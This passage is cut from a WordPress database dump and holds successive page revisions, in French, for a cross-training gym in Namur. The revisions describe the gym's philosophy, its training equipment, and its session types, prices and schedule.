'', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:27:37', '2013-06-16 13:27:37', '', 5, 'http://www.crosstrainingcenter.be/?p=99', 0, 'revision', '', 0),
(100, 1, '2013-06-16 13:44:39', '2013-06-16 13:44:39', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-96 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-98 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:44:39', '2013-06-16 13:44:39', '', 5, 'http://www.crosstrainingcenter.be/?p=100', 0, 'revision', '', 0),
(101, 1, '2013-06-16 11:22:47', '2013-06-16 11:22:47', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:22:47', '2013-06-16 11:22:47', '', 22, 'http://www.crosstrainingcenter.be/?p=101', 0, 'revision', '', 0),
(105, 1, '2013-06-13 16:27:32', '2013-06-13 16:27:32', 'Nous vous  proposons chaque jour :\r\n\r\n- Team Training : entrainements en groupe avec un coach qualifié (8 à 12 pers.).\r\n\r\n- Duo Training : entrainements à deux personnes sous la supervision d’un coach.\r\n\r\n- Personal Training : un coach par personne, l’idéal pour progresser plus rapidement !\r\n- Coaching nutritionnel : rendez-vous avec une diététicienne pour améliorer votre santé.\r\n\r\n&amp;nbsp;\r\n\r\nPrix ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n\r\nHoraire ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-13 16:27:32', '2013-06-13 16:27:32', '', 11, 'http://www.crosstrainingcenter.be/?p=105', 0, 'revision', '', 0),
(106, 1, '2013-06-16 14:01:57', '2013-06-16 14:01:57', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n\r\nPrix ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n\r\nHoraire ?\r\n\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:01:57', '2013-06-16 14:01:57', '', 11, 'http://www.crosstrainingcenter.be/?p=106', 0, 'revision', '', 0),
(107, 1, '2013-06-16 14:14:58', '2013-06-16 14:14:58', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:14:58', '2013-06-16 14:14:58', '', 11, 'http://www.crosstrainingcenter.be/?p=107', 0, 'revision', '', 0),
(108, 1, '2013-06-16 14:16:00', '2013-06-16 14:16:00', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:16:00', '2013-06-16 14:16:00', '', 11, 'http://www.crosstrainingcenter.be/?p=108', 0, 'revision', '', 0),
(109, 1, '2013-06-16 14:16:31', '2013-06-16 14:16:31', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:16:31', '2013-06-16 14:16:31', '', 11, 'http://www.crosstrainingcenter.be/?p=109', 0, 'revision', '', 0),
(111, 1, '2013-06-16 14:17:45', '2013-06-16 14:17:45', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td 